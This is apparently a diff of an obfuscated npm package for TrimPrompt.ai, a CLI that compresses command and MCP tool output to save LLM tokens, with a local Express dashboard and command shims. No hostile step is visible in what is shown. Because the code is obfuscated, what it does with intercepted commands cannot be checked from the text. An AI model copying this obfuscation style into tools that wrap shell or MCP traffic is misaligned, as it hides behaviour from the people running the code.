_0x34f957=adjustCommandArgs(_0x431bf0,_0x59f496),_0x420b86=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x34f957['cmd'],_0x34f957['args']),_0x5bd4a2=(0x0,filters_1['compressOutput'])(_0x834d1a,_0x420b86[_0x15caa5(0xc4)],_0x420b86[_0x15caa5(0x12d)],tracker_1[_0x15caa5(0xef)][_0x15caa5(0x132)]()[_0x15caa5(0xca)]),_0x237e66=_0x420b86[_0x15caa5(0xc4)]+(_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0?'\x0a'+_0x420b86[_0x15caa5(0x12d)]:'');tracker_1[_0x15caa5(0xef)]['logExecution'](_0x834d1a,_0x237e66,_0x5bd4a2,_0x420b86[_0x15caa5(0xe8)]),_0x420b86[_0x15caa5(0xe8)]===0x0?process[_0x15caa5(0xc4)][_0x15caa5(0xd8)](_0x5bd4a2+'\x0a'):(process[_0x15caa5(0xc4)]['write'](_0x5bd4a2+'\x0a'),_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0&&!_0x5bd4a2[_0x15caa5(0xbb)](_0x420b86['stderr']['trim']())&&process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x420b86[_0x15caa5(0x12d)]+'\x0a')),process[_0x15caa5(0xac)](_0x420b86['exitCode']);}program[a0_0x58f592(0x134)](a0_0x58f592(0xdc))[a0_0x58f592(0x10c)](a0_0x58f592(0xdd))[a0_0x58f592(0x103)](a0_0x58f592(0x11a)),program[a0_0x58f592(0x144)]('ui')[a0_0x58f592(0xe4)](a0_0x58f592(0xcd))['description'](a0_0x58f592(0xce))[a0_0x58f592(0x12b)](a0_0x58f592(0xf2),a0_0x58f592(0xcc),'4000')[a0_0x58f592(0xbe)](_0xa9cca4=>{const _0x2d7806=a0_0x58f592,_0x2e6dae=parseInt(_0xa9cca4['port'],0xa);(0x0,dashboard_1[_0x2d7806(0xc5)])(_0x2e6dae);}),program[a0_0x58f592(0x144)]('stats')[a0_0x58f592(0x10c)]('Show\x20token\x20and\x20cost\x20savings\x20summary')['option'](a0_0x58f592(0xda),a0_0x58f592(0x123),'claude-3-5-sonnet')[a0_0x58f592(0xbe)](_0x3350f0=>{const _0x1179d1=a0_0x58f592,_0x1cd473=tracker_1['tracker'][_0x1179d1(0xee)](_0x3350f0['model']);console[_0x1179d1(0xbd)](_0x1179d1(0xf5)),console[_0x1179d1(0xbd)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console[_0x1179d1(0xbd)]('============================================='),console['log'](_0x1179d1(0x12f)+_0x1cd473[_0x1179d1(0x135)]),console[_0x1179d1(0xbd)](_0x1179d1(0xd1)+_0x1cd473[_0x1179d1(0x129)][_0x1179d1(0xb0)]()),console['log'](_0x1179d1(0x10e)+_0x1cd473[_0x1179d1(0x13e)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)](_0x1179d1(0xc1)+_0x1cd473[_0x1179d1(0xe1)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)]('Reduction\x20Rate:\x20\x20\x20\x20'+_0x1cd473[_0x1179d1(0x11d)]+'%'),console[_0x1179d1(0xbd)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xc7)]['toFixed'](0x4)+_0x1179d1(0x102)),console['log'](_0x1179d1(0xdf)+_0x1cd473[_0x1179d1(0xf6)][_0x1179d1(0xf4)](0x4)+'\x20(after\x20Shave)'),console[_0x1179d1(0xbd)](_0x1179d1(0x143)),console['log']('Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xe6)][_0x1179d1(0xf4)](0x4)+'\x20USD'),console[_0x1179d1(0xbd)](_0x1179d1(0x12a));}),program[a0_0x58f592(0x144)](a0_0x58f592(0x10b))[a0_0x58f592(0x10c)](a0_0x58f592(0xd9))[a0_0x58f592(0x115)]('<action>',a0_0x58f592(0x138))[a0_0x58f592(0x115)](a0_0x58f592(0x124),a0_0x58f592(0xb2))[a0_0x58f592(0x115)](a0_0x58f592(0xab),a0_0x58f592(0xfd))['action']((_0x4322e5,_0x4607df,_0x459817)=>{const _0x43a9d8=a0_0x58f592;if(_0x4322e5===_0x43a9d8(0xaa)){const _0x427019=tracker_1['tracker'][_0x43a9d8(0x132)]();console[_0x43a9d8(0xbd)](_0x4607df+':\x20'+_0x427019[_0x4607df]);}else{if(_0x4322e5===_0x43a9d8(0xae)){_0x459817===undefined&&(console['error'](_0x43a9d8(0x108)),process['exit'](0x1));let _0x3fe7fb=_0x459817;if(_0x459817===_0x43a9d8(0xff))_0x3fe7fb=!![];if(_0x459817===_0x43a9d8(0xde))_0x3fe7fb=![];if(/^\d+$/[_0x43a9d8(0x133)](_0x459817))_0x3fe7fb=parseInt(_0x459817,0xa);tracker_1['tracker'][_0x43a9d8(0xd7)](_0x4607df,_0x3fe7fb),console[_0x43a9d8(0xbd)](_0x43a9d8(0x121)+_0x4607df+_0x43a9d8(0x118)+_0x459817);}else console['error']('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process['exit'](0x1);}}),program[a0_0x58f592(0x144)]('shims')[a0_0x58f592(0x10c)](a0_0x58f592(0x120))['argument'](a0_0x58f592(0x140),a0_0x58f592(0xd2))[a0_0x58f592(0xbe)](_0xc88741=>{const _0x2f5212=a0_0x58f592;if(_0xc88741==='install'){const _0x96f05c=(0x0,shims_1['installShims'])();console[_0x2f5212(0xbd)](_0x96f05c[_0x2f5212(0x13b)]);}else{if(_0xc88741==='uninstall'){const _0x307007=(0x0,shims_1[_0x2f5212(0xd5)])();console[_0x2f5212(0xbd)](_0x307007[_0x2f5212(0x13b)]);}else console[_0x2f5212(0xba)](_0x2f5212(0x12c)),process[_0x2f5212(0xac)](0x1);}}),program[a0_0x58f592(0x144)](a0_0x58f592(0xd3))[a0_0x58f592(0x10c)](a0_0x58f592(0xbf))['argument'](a0_0x58f592(0x119),a0_0x58f592(0xc2))[a0_0x58f592(0xbe)](_0x4229bd=>{const _0x6745f5=a0_0x58f592;if(isDisabled()){console['log'](_0x4229bd);return;}const _0x852956=(0x0,filters_1[_0x6745f5(0xb5)])(_0x4229bd);console[_0x6745f5(0xbd)](_0x852956);}),program['command'](a0_0x58f592(0xf7))[a0_0x58f592(0xe4)](a0_0x58f592(0x126))[a0_0x58f592(0x10c)](a0_0x58f592(0xf0))[a0_0x58f592(0x115)](a0_0x58f592(0x13c),a0_0x58f592(0x117))['argument'](a0_0x58f592(0x137),a0_0x58f592(0x125))[a0_0x58f592(0xbe)](async(_0x4e7174,_0x393887)=>{const _0x487875=a0_0x58f592,{runMcpProxy:_0x29cd62}=await Promise[_0x487875(0xfb)]()[_0x487875(0xe5)](()=>__importStar(require(_0x487875(0xcf))));_0x29cd62(_0x4e7174,_0x393887);});const args=process[a0_0x58f592(0xea)][a0_0x58f592(0x10d)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard','stats','config','shims','rewrite',a0_0x58f592(0xf7),a0_0x58f592(0x126),a0_0x58f592(0xb8),a0_0x58f592(0xaf),'-h','version',a0_0x58f592(0xec),'-v'];function a0_0x38e0(_0x5f299c,_0x1d1d1f){const _0x199064=a0_0x1990();return a0_0x38e0=function(_0x38e026,_0x8720fe){_0x38e026=_0x38e026-0xa9;let _0x216478=_0x199064[_0x38e026];return _0x216478;},a0_0x38e0(_0x5f299c,_0x1d1d1f);}function a0_0x1990(){const _0x1725d2=['./filters','--min-parents','win32','__createBinding','argument','-sb','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','\x20=\x20','<commandLine>','1.0.0','server-mcp','defineProperty','savings_percentage','./dashboard','--format','Install\x20or\x20uninstall\x20system\x20command\x20shims','Config\x20set\x20','1028712yBeOIM','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','<key>','Arguments\x20for\x20the\x20target\x20MCP\x20server','mcp','TRIMPROMPT_DISABLED','2010rjlmQl','total_raw_tokens','=============================================\x0a','option','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','stderr','514676DMEQxD','Model\x20Context:\x20\x20\x20\x20\x20','./shims','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','getConfig','test','name','model_name','commander','[server-args...]','get\x20or\x20set','bun','-10','message','<server-command>','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','total_compressed_tokens','git','<action>','4XHsEHS','push','---------------------------------------------','command','proxy','get','[value]','exit','30811RbTWqy','set','--help','toLocaleString','npm','config\x20parameter\x20name','server','__setModuleDefault','rewriteCommand','some','prototype','help','3343395GidIlR','error','includes','platform','log','action','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','@modelcontextprotocol/','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','Command\x20line\x20to\x20evaluate','--max-count','stdout','startDashboard','hasOwnProperty','raw_cost_usd','default','join','redaction_enabled','getOwnPropertyNames','Port\x20to\x20run\x20the\x20dashboard\x20on','dashboard','Start\x20the\x20local\x20developer\x20dashboard','./mcp','3879688adPnxX','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','install\x20or\x20uninstall','rewrite','1ECgMVw','uninstallShims','status','setConfig','write','Manage\x20local\x20configuration\x20parameters','-m,\x20--model\x20<string>','length','trim','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','false','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','3116071DWtwAW','total_tokens_saved','startsWith','--branch','alias','then','money_saved_usd','every','exitCode','toLowerCase','argv','./tracker','--version','2530197ZvPXmV','getStatsSummary','tracker','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','npx','-p,\x20--port\x20<number>','yadm','toFixed','\x0a=============================================','compressed_cost_usd','mcp-proxy','Command','__esModule','yarn','resolve','./executor','value\x20to\x20set','call','true','--no-merges','writable','\x20(before\x20Shave)','version','getOwnPropertyDescriptor','--pretty','-bs','mcp-server','Error:\x20Value\x20required\x20for\x20set\x20action','6TCXVjl','executeCommand','config','description','slice','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','node','modelcontextprotocol'];a0_0x1990=function(){return _0x1725d2;};return a0_0x1990();}firstArg&&!subcommands['includes'](firstArg)?runProxy(args)['catch'](_0x3db5dc=>{const _0x1e1c2c=a0_0x58f592;console[_0x1e1c2c(0xba)]('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x3db5dc[_0x1e1c2c(0x13b)]),process['exit'](0x1);}):program['parse'](process['argv']);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x30c362=a0_0x2dbd;(function(_0x896caf,_0xf0c218){const _0xe7f443=a0_0x2dbd,_0x195dd3=_0x896caf();while(!![]){try{const _0x597234=parseInt(_0xe7f443(0x114))/0x1+-parseInt(_0xe7f443(0x132))/0x2+-parseInt(_0xe7f443(0x11a))/0x3+parseInt(_0xe7f443(0x107))/0x4+parseInt(_0xe7f443(0x119))/0x5*(parseInt(_0xe7f443(0x12a))/0x6)+parseInt(_0xe7f443(0x113))/0x7+parseInt(_0xe7f443(0x112))/0x8*(-parseInt(_0xe7f443(0x105))/0x9);if(_0x597234===_0xf0c218)break;else _0x195dd3['push'](_0x195dd3['shift']());}catch(_0x23097d){_0x195dd3['push'](_0x195dd3['shift']());}}}(a0_0x48f6,0x24d6a));var __createBinding=this&&this[a0_0x30c362(0x10d)]||(Object['create']?function(_0x1d3823,_0x7af420,_0x2cdd89,_0x3e36e7){const _0x10596d=a0_0x30c362;if(_0x3e36e7===undefined)_0x3e36e7=_0x2cdd89;var _0x47f85a=Object[_0x10596d(0x128)](_0x7af420,_0x2cdd89);(!_0x47f85a||(_0x10596d(0x118)in _0x47f85a?!_0x7af420['__esModule']:_0x47f85a[_0x10596d(0x127)]||_0x47f85a['configurable']))&&(_0x47f85a={'enumerable':!![],'get':function(){return _0x7af420[_0x2cdd89];}}),Object['defineProperty'](_0x1d3823,_0x3e36e7,_0x47f85a);}:function(_0x445c0f,_0x1fe8fa,_0x1af226,_0x38201c){if(_0x38201c===undefined)_0x38201c=_0x1af226;_0x445c0f[_0x38201c]=_0x1fe8fa[_0x1af226];}),__setModuleDefault=this&&this[a0_0x30c362(0x11e)]||(Object[a0_0x30c362(0x130)]?function(_0x41051d,_0x2bce8d){const _0x21d93e=a0_0x30c362;Object[_0x21d93e(0x121)](_0x41051d,_0x21d93e(0x11c),{'enumerable':!![],'value':_0x2bce8d});}:function(_0x4a8f2e,_0x2d8d54){const _0x9a45e8=a0_0x30c362;_0x4a8f2e[_0x9a45e8(0x11c)]=_0x2d8d54;}),__importStar=this&&this[a0_0x30c362(0x124)]||(function(){var _0x42f7af=function(_0x18c1ed){return _0x42f7af=Object['getOwnPropertyNames']||function(_0x1c872f){const _0x499ff5=a0_0x2dbd;var _0x33673=[];for(var _0x164f62 in _0x1c872f)if(Object[_0x499ff5(0x135)][_0x499ff5(0x116)]['call'](_0x1c872f,_0x164f62))_0x33673[_0x33673[_0x499ff5(0x126)]]=_0x164f62;return _0x33673;},_0x42f7af(_0x18c1ed);};return function(_0x31ba3a){const _0x36a3d1=a0_0x2dbd;if(_0x31ba3a&&_0x31ba3a[_0x36a3d1(0x10f)])return _0x31ba3a;var _0x37dd55={};if(_0x31ba3a!=null){for(var _0x1cde18=_0x42f7af(_0x31ba3a),_0x408097=0x0;_0x408097<_0x1cde18[_0x36a3d1(0x126)];_0x408097++)if(_0x1cde18[_0x408097]!==_0x36a3d1(0x11c))__createBinding(_0x37dd55,_0x31ba3a,_0x1cde18[_0x408097]);}return __setModuleDefault(_0x37dd55,_0x31ba3a),_0x37dd55;};}()),__importDefault=this&&this['__importDefault']||function(_0x405a65){const _0x5c5a67=a0_0x30c362;return _0x405a65&&_0x405a65[_0x5c5a67(0x10f)]?_0x405a65:{'default':_0x405a65};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;function a0_0x48f6(){const _0x155ae5=['2087043dLUomH','110643ksbTzf','readFileSync','hasOwnProperty','EADDRINUSE','get','5xQSPSY','676431lemhfG','auto','default','express','__setModuleDefault','getStatsSummary','existsSync','defineProperty','/api/stats/inspect/:id','index.html','__importStar','open','length','writable','getOwnPropertyDescriptor','path','958614ipZmrP','model','logs','join','sendFile','params','create','json','65852kFxEIR','.comp.txt','log','prototype','/api/stats/history','/api/stats/summary','18PxUEiV','tracker','282600BrqDeG','../src/index.html','utf8','[TrimPrompt]\x20Dashboard\x20error:\x20','http://localhost:','error','__createBinding','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','__esModule','homedir','./tracker','919672pTOsVL'];a0_0x48f6=function(){return _0x155ae5;};return a0_0x48f6();}function a0_0x2dbd(_0x5d3e70,_0x2582f7){_0x5d3e70=_0x5d3e70-0x104;const _0x48f6a2=a0_0x48f6();let _0x2dbda4=_0x48f6a2[_0x5d3e70];return _0x2dbda4;}const express_1=__importDefault(require(a0_0x30c362(0x11d))),path=__importStar(require(a0_0x30c362(0x129))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x30c362(0x125))),tracker_1=require(a0_0x30c362(0x111)),app=(0x0,express_1['default'])(),baseDir=path[a0_0x30c362(0x12d)](os[a0_0x30c362(0x110)](),'.trimprompt'),logsDir=path[a0_0x30c362(0x12d)](baseDir,a0_0x30c362(0x12c));app['get']('/',(_0x46ccc4,_0x23f014)=>{const _0x28650f=a0_0x30c362,_0x124584=path[_0x28650f(0x12d)](__dirname,_0x28650f(0x123));fs[_0x28650f(0x120)](_0x124584)?_0x23f014[_0x28650f(0x12e)](_0x124584):_0x23f014['sendFile'](path[_0x28650f(0x12d)](__dirname,_0x28650f(0x108)));}),app[a0_0x30c362(0x118)](a0_0x30c362(0x104),(_0x2dda39,_0x32a0c0)=>{const _0x16e738=a0_0x30c362,_0x385c2d=_0x2dda39['query'][_0x16e738(0x12b)]||_0x16e738(0x11b),_0x12a648=tracker_1[_0x16e738(0x106)][_0x16e738(0x11f)](_0x385c2d);_0x32a0c0[_0x16e738(0x131)](_0x12a648);}),app['get'](a0_0x30c362(0x136),(_0x437b9e,_0x497307)=>{const _0xfe7c4a=a0_0x30c362,_0x48b6a8=tracker_1['tracker']['getLogs']();_0x497307[_0xfe7c4a(0x131)](_0x48b6a8);}),app[a0_0x30c362(0x118)](a0_0x30c362(0x122),(_0xdd6691,_0x461a07)=>{const _0xea0b7b=a0_0x30c362,_0x32447e=_0xdd6691[_0xea0b7b(0x12f)]['id'],_0x4e4b2b=path['join'](logsDir,_0x32447e+'.raw.txt'),_0x3267d2=path[_0xea0b7b(0x12d)](logsDir,_0x32447e+_0xea0b7b(0x133));let _0x2512a3='Raw\x20output\x20log\x20file\x20not\x20found.',_0x44aa48='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0xea0b7b(0x120)](_0x4e4b2b)&&(_0x2512a3=fs['readFileSync'](_0x4e4b2b,_0xea0b7b(0x109))),fs[_0xea0b7b(0x120)](_0x3267d2)&&(_0x44aa48=fs[_0xea0b7b(0x115)](_0x3267d2,'utf8'));}catch(_0x177e27){}_0x461a07[_0xea0b7b(0x131)]({'id':_0x32447e,'raw':_0x2512a3,'compressed':_0x44aa48});});function startDashboard(_0x167aff=0xfa0){const _0x21b8cf=a0_0x30c362;let _0x166a1b=_0x167aff;const _0x69603d=app['listen'](_0x166a1b,()=>{const _0xa35551=a0_0x2dbd,_0x245434=_0xa35551(0x10b)+_0x166a1b;console[_0xa35551(0x134)](_0xa35551(0x10e)+_0x245434),console[_0xa35551(0x134)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1[_0xa35551(0x11c)])(_0x245434)['catch'](()=>{});});_0x69603d['on'](_0x21b8cf(0x10c),_0x38dfb0=>{const _0x57f02d=_0x21b8cf;_0x38dfb0['code']===_0x57f02d(0x117)?startDashboard(_0x166a1b+0x1):console['error'](_0x57f02d(0x10a)+_0x38dfb0['message']);});}
1
+ 'use strict';const a0_0x12bc9b=a0_0x27ab;function a0_0x5d15(){const _0x2e5f2a=['1967528Ccgcqa','prototype','__esModule','20648tsdbeA','get','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','logs','6AZBbfq','[TrimPrompt]\x20Dashboard\x20error:\x20','Compressed\x20output\x20log\x20file\x20not\x20found.','join','utf8','getOwnPropertyNames','path','index.html','__importStar','933GYLhwA','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','getOwnPropertyDescriptor','__setModuleDefault','Raw\x20output\x20log\x20file\x20not\x20found.','11155485BQOzHI','getStatsSummary','default','sendFile','/api/stats/history','http://localhost:','readFileSync','create','json','.trimprompt','.comp.txt','auto','query','catch','defineProperty','configurable','length','197091qAiQop','4896045fJiIqZ','__createBinding','error','../src/index.html','EADDRINUSE','tracker','__importDefault','1691ZYoovY','./tracker','params','hasOwnProperty','model','7450525bmFPNV','30cYwEqG','/api/stats/inspect/:id','getLogs','1442QCFAld','code'];a0_0x5d15=function(){return _0x2e5f2a;};return a0_0x5d15();}function a0_0x27ab(_0x5fcbe7,_0x3204b8){const _0x5d15bb=a0_0x5d15();return a0_0x27ab=function(_0x27ab0d,_0x13f325){_0x27ab0d=_0x27ab0d-0x171;let _0x34ed1a=_0x5d15bb[_0x27ab0d];return _0x34ed1a;},a0_0x27ab(_0x5fcbe7,_0x3204b8);}(function(_0x8247b4,_0x2b6c94){const _0xfa104b=a0_0x27ab,_0x44fd3e=_0x8247b4();while(!![]){try{const _0x1fc145=-parseInt(_0xfa104b(0x1a2))/0x1*(-parseInt(_0xfa104b(0x172))/0x2)+-parseInt(_0xfa104b(0x184))/0x3*(-parseInt(_0xfa104b(0x177))/0x4)+-parseInt(_0xfa104b(0x1a7))/0x5*(-parseInt(_0xfa104b(0x17b))/0x6)+-parseInt(_0xfa104b(0x19b))/0x7+parseInt(_0xfa104b(0x174))/0x8+parseInt(_0xfa104b(0x19a))/0x9+-parseInt(_0xfa104b(0x1a8))/0xa*(parseInt(_0xfa104b(0x189))/0xb);if(_0x1fc145===_0x2b6c94)break;else _0x44fd3e['push'](_0x44fd3e['shift']());}catch(_0x2191c8){_0x44fd3e['push'](_0x44fd3e['shift']());}}}(a0_0x5d15,0xcd3fa));var __createBinding=this&&this[a0_0x12bc9b(0x19c)]||(Object['create']?function(_0x33bd16,_0x3fc47e,_0x47c6df,_0xf381ed){const _0xbbf5e4=a0_0x12bc9b;if(_0xf381ed===undefined)_0xf381ed=_0x47c6df;var _0x58dae9=Object[_0xbbf5e4(0x186)](_0x3fc47e,_0x47c6df);(!_0x58dae9||(_0xbbf5e4(0x178)in _0x58dae9?!_0x3fc47e[_0xbbf5e4(0x176)]:_0x58dae9['writable']||_0x58dae9[_0xbbf5e4(0x198)]))&&(_0x58dae9={'enumerable':!![],'get':function(){return _0x3fc47e[_0x47c6df];}}),Object[_0xbbf5e4(0x197)](_0x33bd16,_0xf381ed,_0x58dae9);}:function(_0x44c696,_0x38afd1,_0x58dce4,_0x3e190e){if(_0x3e190e===undefined)_0x3e190e=_0x58dce4;_0x44c696[_0x3e190e]=_0x38afd1[_0x58dce4];}),__setModuleDefault=this&&this[a0_0x12bc9b(0x187)]||(Object[a0_0x12bc9b(0x190)]?function(_0xe4051c,_0x48dfe1){const _0xca45ad=a0_0x12bc9b;Object[_0xca45ad(0x197)](_0xe4051c,_0xca45ad(0x18b),{'enumerable':!![],'value':_0x48dfe1});}:function(_0x35c8e3,_0x3b2e2e){const _0x354d4e=a0_0x12bc9b;_0x35c8e3[_0x354d4e(0x18b)]=_0x3b2e2e;}),__importStar=this&&this[a0_0x12bc9b(0x183)]||(function(){var _0x254193=function(_0x5c741f){const _0x469e25=a0_0x27ab;return _0x254193=Object[_0x469e25(0x180)]||function(_0x256269){const _0x1a13e5=_0x469e25;var _0x2fdb47=[];for(var _0x33c11e in _0x256269)if(Object[_0x1a13e5(0x175)][_0x1a13e5(0x1a5)]['call'](_0x256269,_0x33c11e))_0x2fdb47[_0x2fdb47[_0x1a13e5(0x199)]]=_0x33c11e;return _0x2fdb47;},_0x254193(_0x5c741f);};return function(_0x2a5394){const _0x1ba679=a0_0x27ab;if(_0x2a5394&&_0x2a5394['__esModule'])return _0x2a5394;var _0x27580d={};if(_0x2a5394!=null){for(var _0x3ddfe1=_0x254193(_0x2a5394),_0x37f78c=0x0;_0x37f78c<_0x3ddfe1[_0x1ba679(0x199)];_0x37f78c++)if(_0x3ddfe1[_0x37f78c]!==_0x1ba679(0x18b))__createBinding(_0x27580d,_0x2a5394,_0x3ddfe1[_0x37f78c]);}return __setModuleDefault(_0x27580d,_0x2a5394),_0x27580d;};}()),__importDefault=this&&this[a0_0x12bc9b(0x1a1)]||function(_0x4441f5){const _0x6b1e28=a0_0x12bc9b;return _0x4441f5&&_0x4441f5[_0x6b1e28(0x176)]?_0x4441f5:{'default':_0x4441f5};};Object[a0_0x12bc9b(0x197)](exports,'__esModule',{'value':!![]}),exports['startDashboard']=startDashboard;const express_1=__importDefault(require('express')),path=__importStar(require(a0_0x12bc9b(0x181))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require('open')),tracker_1=require(a0_0x12bc9b(0x1a3)),app=(0x0,express_1[a0_0x12bc9b(0x18b)])(),baseDir=path['join'](os['homedir'](),a0_0x12bc9b(0x192)),logsDir=path[a0_0x12bc9b(0x17e)](baseDir,a0_0x12bc9b(0x17a));app[a0_0x12bc9b(0x178)]('/',(_0x34c6bb,_0x593c81)=>{const _0x3af5b1=a0_0x12bc9b,_0x4c8d3a=path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x182));fs['existsSync'](_0x4c8d3a)?_0x593c81[_0x3af5b1(0x18c)](_0x4c8d3a):_0x593c81[_0x3af5b1(0x18c)](path[_0x3af5b1(0x17e)](__dirname,_0x3af5b1(0x19e)));}),app[a0_0x12bc9b(0x178)]('/api/stats/summary',(_0x5aad01,_0x105f27)=>{const _0x19fa9c=a0_0x12bc9b,_0x4d7e7c=_0x5aad01[_0x19fa9c(0x195)][_0x19fa9c(0x1a6)]||_0x19fa9c(0x194),_0x4bffc9=tracker_1[_0x19fa9c(0x1a0)][_0x19fa9c(0x18a)](_0x4d7e7c);_0x105f27[_0x19fa9c(0x191)](_0x4bffc9);}),app[a0_0x12bc9b(0x178)](a0_0x12bc9b(0x18d),(_0x34538b,_0x5dcb19)=>{const _0xe4087e=a0_0x12bc9b,_0x131e46=tracker_1['tracker'][_0xe4087e(0x171)]();_0x5dcb19[_0xe4087e(0x191)](_0x131e46);}),app['get'](a0_0x12bc9b(0x1a9),(_0x4f38df,_0x1f34a7)=>{const _0x1e61f3=a0_0x12bc9b,_0x19a1d0=_0x4f38df[_0x1e61f3(0x1a4)]['id'],_0x4edc07=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+'.raw.txt'),_0x35d6ee=path[_0x1e61f3(0x17e)](logsDir,_0x19a1d0+_0x1e61f3(0x193));let _0x13825f=_0x1e61f3(0x188),_0x7f9bc1=_0x1e61f3(0x17d);try{fs['existsSync'](_0x4edc07)&&(_0x13825f=fs['readFileSync'](_0x4edc07,_0x1e61f3(0x17f))),fs['existsSync'](_0x35d6ee)&&(_0x7f9bc1=fs[_0x1e61f3(0x18f)](_0x35d6ee,_0x1e61f3(0x17f)));}catch(_0xdcc7a7){}_0x1f34a7[_0x1e61f3(0x191)]({'id':_0x19a1d0,'raw':_0x13825f,'compressed':_0x7f9bc1});});function startDashboard(_0x498b6e=0xfa0){const _0x27d641=a0_0x12bc9b;let _0x2700c1=_0x498b6e;const _0x347027=app['listen'](_0x2700c1,()=>{const _0x294b1a=a0_0x27ab,_0x3c61c7=_0x294b1a(0x18e)+_0x2700c1;console['log'](_0x294b1a(0x179)+_0x3c61c7),console['log'](_0x294b1a(0x185)),(0x0,open_1['default'])(_0x3c61c7)[_0x294b1a(0x196)](()=>{});});_0x347027['on'](_0x27d641(0x19d),_0xbbc9a8=>{const _0x3d84a2=_0x27d641;_0xbbc9a8[_0x3d84a2(0x173)]===_0x3d84a2(0x19f)?startDashboard(_0x2700c1+0x1):console[_0x3d84a2(0x19d)](_0x3d84a2(0x17c)+_0xbbc9a8['message']);});}
package/executor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';var a0_0x3c9f39=a0_0x415a;(function(_0x9a901b,_0x456e72){var _0x124015=a0_0x415a,_0x515af6=_0x9a901b();while(!![]){try{var _0x3b89ff=parseInt(_0x124015(0x8b))/0x1*(parseInt(_0x124015(0x76))/0x2)+-parseInt(_0x124015(0x90))/0x3*(-parseInt(_0x124015(0x7e))/0x4)+-parseInt(_0x124015(0x77))/0x5+-parseInt(_0x124015(0x9a))/0x6*(parseInt(_0x124015(0x73))/0x7)+-parseInt(_0x124015(0x81))/0x8*(-parseInt(_0x124015(0x86))/0x9)+parseInt(_0x124015(0x7d))/0xa*(-parseInt(_0x124015(0x95))/0xb)+parseInt(_0x124015(0x85))/0xc;if(_0x3b89ff===_0x456e72)break;else _0x515af6['push'](_0x515af6['shift']());}catch(_0x525293){_0x515af6['push'](_0x515af6['shift']());}}}(a0_0x40ff,0x873d5));function a0_0x40ff(){var _0x421579=['__setModuleDefault','filter','233981VsOvBR','__esModule','error','spawn','toLowerCase','30318AnhBeO','data','stderr','inherit','join','get','959pextIW','prototype','executeCommand','1012ISrZZt','564415Evtwcq','__importStar','getOwnPropertyDescriptor','toString','getOwnPropertyNames','__createBinding','290EYLrnb','4144488hdsqmr','configurable','stdout','1112024mPXXmU','pipe','child_process','homedir','2802336kRSyDB','36jIKnDj','length','create','delimiter','message','297ggHBpZ','defineProperty','writable','trim','Failed\x20to\x20spawn\x20command\x20\x22','3thsmJL','default','shims'];a0_0x40ff=function(){return _0x421579;};return a0_0x40ff();}var __createBinding=this&&this[a0_0x3c9f39(0x7c)]||(Object[a0_0x3c9f39(0x88)]?function(_0xf49bbe,_0x52e66e,_0x333a5b,_0x2f3e75){var _0xdb07e3=a0_0x3c9f39;if(_0x2f3e75===undefined)_0x2f3e75=_0x333a5b;var _0x2b9105=Object[_0xdb07e3(0x79)](_0x52e66e,_0x333a5b);(!_0x2b9105||(_0xdb07e3(0x72)in _0x2b9105?!_0x52e66e[_0xdb07e3(0x96)]:_0x2b9105[_0xdb07e3(0x8d)]||_0x2b9105[_0xdb07e3(0x7f)]))&&(_0x2b9105={'enumerable':!![],'get':function(){return _0x52e66e[_0x333a5b];}}),Object[_0xdb07e3(0x8c)](_0xf49bbe,_0x2f3e75,_0x2b9105);}:function(_0x3162da,_0x53af5e,_0xd9ed88,_0x14d8f8){if(_0x14d8f8===undefined)_0x14d8f8=_0xd9ed88;_0x3162da[_0x14d8f8]=_0x53af5e[_0xd9ed88];}),__setModuleDefault=this&&this[a0_0x3c9f39(0x93)]||(Object['create']?function(_0x1ae745,_0x4963c4){var _0x1c37fb=a0_0x3c9f39;Object[_0x1c37fb(0x8c)](_0x1ae745,_0x1c37fb(0x91),{'enumerable':!![],'value':_0x4963c4});}:function(_0xd6e5b2,_0x1252fd){var _0x188f4d=a0_0x3c9f39;_0xd6e5b2[_0x188f4d(0x91)]=_0x1252fd;}),__importStar=this&&this[a0_0x3c9f39(0x78)]||(function(){var _0x1b13ae=function(_0x1e0e2d){var 